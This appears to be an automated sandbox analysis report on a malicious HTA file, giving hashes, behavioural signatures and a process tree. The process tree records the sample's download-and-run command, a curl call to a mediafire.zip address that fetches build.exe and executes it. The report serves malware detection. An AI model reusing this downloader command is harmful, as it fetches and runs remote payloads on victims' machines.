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Analysis

  • max time kernel
    92s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/06/2024, 01:49

General

  • Target

    d5647dd8dbd73ac01bad18aefafab4b7848861c12eaff129b37f65cfc940575d.hta

  • Size

    173B

  • MD5

    81d631fdb7e6f1d8b2222355bdea0d92

  • SHA1

    fc5a81c0b9df522b041caf2557f152514ccfcd5c

  • SHA256

    d5647dd8dbd73ac01bad18aefafab4b7848861c12eaff129b37f65cfc940575d

  • SHA512

    1baab86587eeef814752265b1d340e41f0063b19621e184cdc2a8fb7b7471587b35f00cace53e24ebd1d2bbb287836cd24eb6fa04863332e486a5dce3d1023ec

Score
8/10

Malware Config

Signatures

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\d5647dd8dbd73ac01bad18aefafab4b7848861c12eaff129b37f65cfc940575d.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2848
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c curl -L https://mediafire.zip/build.exe -o build.exe & build.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1908
      • C:\Windows\SysWOW64\curl.exe
        curl -L https://mediafire.zip/build.exe -o build.exe
        3⤵
          PID:5044
        • C:\Users\Admin\AppData\Local\Temp\build.exe
          build.exe
          3⤵
          • Executes dropped EXE
          PID:2080
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 476
            4⤵
            • Program crash
            PID:4440
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2080 -ip 2080
      1⤵
        PID:1044

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\build.exe

        Filesize

        3.0MB

        MD5

        05eecfc1820ab3273409323601a71f23

        SHA1

        5076d5c3a1aa6f2ffcc299f803d0dd01b33d6dd7

        SHA256

        4a72f3948f014c2ded502832814c6d65feb78bd1caef7df8bcecb78f7a90b6e2

        SHA512

        81d10658aaf6d6341b929dcdb1eccd97dd752b7cbe7b497ed85b88a03ea540a2de6b24ae98ace353e861d1ea7ad181449e332dec26b075c4684c7286cc167a00

      • memory/2080-4-0x0000000000400000-0x0000000000704000-memory.dmp

        Filesize

        3.0MB

      • memory/2080-5-0x0000000000407000-0x0000000000421000-memory.dmp

        Filesize

        104KB